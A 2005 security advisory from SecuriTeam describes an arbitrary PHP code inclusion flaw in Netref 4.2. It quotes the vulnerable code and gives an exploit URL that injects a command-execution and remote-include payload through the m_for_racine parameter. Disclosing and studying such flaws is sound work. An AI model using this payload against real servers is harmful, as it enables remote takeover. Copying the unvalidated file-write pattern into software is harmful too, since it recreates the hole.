[UNIX] Netref Arbitrary Code Inclusion

From: SecuriTeam (support_at_securiteam.com)
Date: 04/27/05

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Date: 27 Apr 2005 17:22:21 +0200

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      Netref Arbitrary Code Inclusion
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.netref.net/> Netref is a PHP/MySQL-based directory script
    that supports an unlimited number of categories and links. Many fonctions
    to manage the links : Fast search engine with syntax coloring, Edit icon
    of category, Alias sites, Check validity of URL, Possibility to comment
    the sites, Administrator access to edit all data and validate suggested
    links by users, batch processing, etc."

    Lack of user input validation in Netref allows remote attackers to run
    malicious PHP code on the vulnerable system.

    DETAILS

    Vulnerable Systems:
     * Annuaire Netref version 4.2

    There is a vulnerability in the handling of input by Netref. Because of
    this, it is possible for a remote user to gain unauthorized access to the
    system using the vulnerable software. More specifically the file
    "script/cat_for_gen.php" does not check the variables $ad, $ad_direct and
    $m_for_racine.

    Vulnerable code:
    if ($ad==1)
    {
            if (!isset($ad_direct))
                    $ad_direct=""; // variable appel que dans certains cas
            $fp=fopen($ad_direct."cache/cat_for.php", "w");
            $temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du
    formulaire
            $temp.=">$m_for_racine</OPTION>";
            fwrite ($fp,$temp);
    }

    The $m_for_racine variable is not initialized and will be written in the
    cache/cat_for.php file, making it possible to inject any PHP command and
    execute them.

    Exploit:
    http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1
    &ad_direct=../&m_for_racine=</option></SELECT><?php
    sytem($command);include($remote_script)?>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:webmaster@wulab.com> jaguar.

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